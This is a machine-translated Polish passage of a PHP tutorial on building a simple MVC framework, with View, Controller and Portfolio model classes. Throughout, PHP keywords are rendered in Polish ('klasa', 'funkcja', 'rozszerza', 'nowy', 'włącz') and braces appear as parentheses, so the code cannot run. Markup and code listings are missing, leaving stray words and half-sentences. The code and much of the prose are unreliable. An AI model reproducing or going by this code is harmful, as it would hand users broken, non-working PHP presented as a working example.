widok klasy ( //public $template_view; // tutaj możesz określić domyślny widok ogólny. funkcja generate ($content_view , $template_view , $data = null) ( /* if(is_array($data)) ( // konwertuj tablicę elementy do zmiennych ekstrakt($data); ) */włącz „aplikację/widoki/” .$template_view ; ) )
Nietrudno zgadnąć, że to metoda Generować przeznaczony do tworzenia widoku. Przekazywane są do niego następujące parametry:
aby wyświetlić zawartość określonej strony.
W naszym przypadku ogólny szablon będzie zawierał nagłówek, menu, pasek boczny i stopkę, a zawartość strony będzie zawarta w osobnej formie. Ponownie zrobiono to dla uproszczenia.
Zawartość pliku kontroler.php
kontroler klasy ( publiczny $model ; publiczny $widok ; funkcja __construct () ( $this ->view = nowy widok(); ) ))
metoda indeks_akcji- jest to akcja wywoływana domyślnie, nadpiszemy ją przy implementacji klas potomnych.
Na poprzednim rysunku osobno zaznaczony jest plik template_view.php - jest to szablon zawierający znaczniki wspólne dla wszystkich stron. W najprostszym przypadku mogłoby to wyglądać tak:
dom
Aby nadać witrynie reprezentacyjny wygląd, tworzymy szablon CSS i integrujemy go z naszą witryną, zmieniając strukturę znaczników HTML i łącząc pliki CSS i JavaScript:
Na końcu artykułu, w sekcji „Wynik”, znajduje się link do repozytorium GitHub z projektem, w którym zostały podjęte kroki w celu integracji prostego szablonu.
klasa Controller_Main rozszerza kontroler (funkcja action_index () ( $this ->view->generate("main_view.php" , "template_view.php" ); ) )
W metodzie Generować instancji klasy View przekazywane są nazwy plików szablonu ogólnego oraz widok z zawartością strony.
Oprócz akcji indeksowej kontroler może oczywiście zawierać inne akcje.
Wcześniej sprawdziliśmy plik widoku ogólnego. Rozważmy plik zawartości main_view.php:
Powitanie! OLOLOSHA TEAM to zespół najwyższej klasy specjalistów w dziedzinie tworzenia stron internetowych z wieloletnim doświadczeniem w kolekcjonowaniu masek meksykańskich, posągów z brązu i kamienia z Indii i Cejlonu, płaskorzeźb i rzeźb stworzonych przez mistrzów Afryki Równikowej pięciu lub sześciu wieków temu...
Zawiera proste znaczniki bez żadnych wywołań PHP.
Aby wyświetlić stronę główną możesz skorzystać z jednego z poniższych adresów:
- metody bibliotek realizujących abstrakcję danych. Na przykład metody biblioteki PEAR MDB2;
- metody ORM;
- metody pracy z NoSQL;
- itd. Dla uproszczenia nie będziemy tutaj używać zapytań SQL ani instrukcji ORM. Zamiast tego będziemy emulować prawdziwe dane i natychmiast zwracać tablicę wyników.
Umieść plik modelu model_portfolio.php w folderze models. Oto jego zawartość:
class Model_Portfolio rozszerza Model ( funkcja publiczna get_data () ( return array (array („Year” => „2012” , „Site” => „http://DunkelBeer.ru” , „Description” => „Strona promocyjna ciemne piwo Dunkel niemieckiego producenta Löwenbraü produkowane w Rosji przez browar „SUN InBev.” ), tablica („Rok” => „2012” , „Site” => „http://ZopoMobile.ru” , „Opis " => "Rosyjskojęzyczny katalog chińskich telefonów Zopo opartych na systemie operacyjnym Android i akcesoria do nich.."), // todo ) ) )
Klasa kontrolera modelu zawarta jest w pliku kontroler_portfolio.php, oto jej kod:
klasa Controller_Portfolio rozszerza kontroler ( funkcja __construct () ( $this ->model = nowy Model_Portfolio(); $this ->view = nowy View(); ) funkcja action_index () ( $data = $this ->model->get_data( ); $this ->view->generate("portfolio_view.php" , "template_view.php" , $data ); ) )
Do zmiennej dane zapisywana jest tablica zwrócona przez metodę otrzymać dane które oglądaliśmy wcześniej.
Zmienna ta jest następnie przekazywana jako parametr metody Generować, który zawiera także: nazwę pliku z szablonem ogólnym oraz nazwę pliku zawierającego widok z zawartością strony.
Widok zawierający zawartość strony znajduje się w pliku portfolio_view.php.
Teczka
Rok | Projekt | Opis |